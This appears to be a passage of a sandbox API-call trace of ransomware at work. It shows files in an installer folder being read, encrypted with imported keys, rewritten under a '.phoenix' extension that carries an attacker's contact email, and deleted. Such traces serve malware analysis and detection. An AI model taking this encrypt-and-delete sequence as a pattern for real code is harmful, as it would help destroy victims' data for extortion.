	[0064.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0064.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.090] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.090] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.090] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.090] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0064.091] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa6c8) returned 1
	[0064.091] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.091] ReadFile (in: hFile=0x338, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x12db0, lpOverlapped=0x0) returned 1
	[0064.165] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x12dc0, dwBufLen=0x12dc0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x12dc0) returned 1
	[0064.165] WriteFile (in: hFile=0x330, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x12dc0, lpOverlapped=0x0) returned 1
	[0064.167] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa608) returned 1
	[0064.167] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.167] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0064.168] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.168] WriteFile (in: hFile=0x330, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0064.168] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0064.168] CloseHandle (hObject=0x338) returned 1
	[0064.168] CloseHandle (hObject=0x330) returned 1
	[0064.172] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1
	[0064.241] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.241] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.241] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3702) returned 1
	[0064.241] CloseHandle (hObject=0x320) returned 1
	[0064.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0064.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.242] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.242] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.243] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.243] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.243] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa608) returned 1
	[0064.243] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.243] ReadFile (in: hFile=0x320, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xe76, lpOverlapped=0x0) returned 1
	[0064.308] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe80, dwBufLen=0xe80 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe80) returned 1
	[0064.308] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xe80, lpOverlapped=0x0) returned 1
	[0064.309] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa688) returned 1
	[0064.309] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.309] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0064.309] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0064.309] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0064.310] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0064.310] CloseHandle (hObject=0x320) returned 1
	[0064.310] CloseHandle (hObject=0x314) returned 1
	[0064.322] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1
	[0064.323] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.323] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.324] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3526) returned 1
	[0064.324] CloseHandle (hObject=0x314) returned 1
	[0064.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0064.324] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.324] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.324] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.324] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.324] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.325] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa288) returned 1
	[0064.325] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.325] ReadFile (in: hFile=0x314, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xdc6, lpOverlapped=0x0) returned 1
	[0064.370] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xdd0) returned 1
	[0064.371] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xdd0, lpOverlapped=0x0) returned 1
	[0064.372] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa908) returned 1
	[0064.372] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.372] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0064.372] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0064.372] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0064.372] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0064.372] CloseHandle (hObject=0x314) returned 1
	[0064.372] CloseHandle (hObject=0x320) returned 1
	[0064.377] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1
	[0064.378] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.378] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.378] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=82962) returned 1
	[0064.378] CloseHandle (hObject=0x320) returned 1
	[0064.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0064.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.378] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.379] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.379] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.379] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.379] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa448) returned 1
	[0064.379] CryptSetKeyParam (hKey=0xbaa448, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.379] ReadFile (in: hFile=0x320, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x14412, lpOverlapped=0x0) returned 1
	[0064.419] CryptEncrypt (in: hKey=0xbaa448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x14420, dwBufLen=0x14420 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x14420) returned 1
	[0064.419] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x14420, lpOverlapped=0x0) returned 1
	[0064.421] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa508) returned 1
	[0064.421] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.421] CryptEncrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0064.421] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0064.421] WriteFile (in: hFile=0x314, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0064.422] CryptDestroyKey (hKey=0xbaa448) returned 1
	[0064.422] CloseHandle (hObject=0x320) returned 1
	[0064.422] CloseHandle (hObject=0x314) returned 1
	[0064.428] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1
	[0064.430] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.430] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.432] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=72076) returned 1
	[0064.432] CloseHandle (hObject=0x314) returned 1
	[0064.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0064.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.432] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.433] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.433] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.433] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0064.433] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa588) returned 1
	[0064.433] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.433] ReadFile (in: hFile=0x314, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0x1198c, lpOverlapped=0x0) returned 1
	[0064.462] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x11990, dwBufLen=0x11990 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x11990) returned 1
	[0064.465] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x11990, lpOverlapped=0x0) returned 1
	[0064.467] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa5c8) returned 1
	[0064.467] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.467] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50, dwBufLen=0x50 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x50) returned 1
	[0064.467] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0064.467] WriteFile (in: hFile=0x320, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0x102, lpOverlapped=0x0) returned 1
	[0064.468] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0064.468] CloseHandle (hObject=0x314) returned 1
	[0064.468] CloseHandle (hObject=0x320) returned 1
	[0064.478] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1
	[0064.562] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.562] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.563] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x338fd70 | out: lpFileSize=0x338fd70*=3643) returned 1
	[0064.563] CloseHandle (hObject=0x314) returned 1
	[0064.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0064.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0064.563] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0064.563] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.564] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fd10 | out: lpNewFilePointer=0x0) returned 1
	[0064.564] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0064.565] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd24 | out: phKey=0x338fd24*=0xbaa2c8) returned 1
	[0064.565] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.565] ReadFile (in: hFile=0x314, lpBuffer=0x371d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x338fd4c, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesRead=0x338fd4c*=0xe3b, lpOverlapped=0x0) returned 1
	[0064.616] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe40, dwBufLen=0xe40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0xe40) returned 1
	[0064.616] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xe40, lpOverlapped=0x0) returned 1
	[0064.617] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x338fcbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x338fd28 | out: phKey=0x338fd28*=0xbaa6c8) returned 1
	[0064.617] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x338fdd0, dwFlags=0x0) returned 1
	[0064.617] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40, dwBufLen=0x40 | out: pbData=0x371d020*, pdwDataLen=0x338fce8*=0x40) returned 1
	[0064.617] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0064.617] WriteFile (in: hFile=0x31c, lpBuffer=0x371d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fd30, lpOverlapped=0x0 | out: lpBuffer=0x371d020*, lpNumberOfBytesWritten=0x338fd30*=0xf2, lpOverlapped=0x0) returned 1
	[0064.617] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0064.617] CloseHandle (hObject=0x314) returned 1
	[0064.617] CloseHandle (hObject=0x31c) returned 1
	[0064.625] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1
	[0064.626] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x338fdd0 | out: pbBuffer=0x338fdd0) returned 1
	[0064.626] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
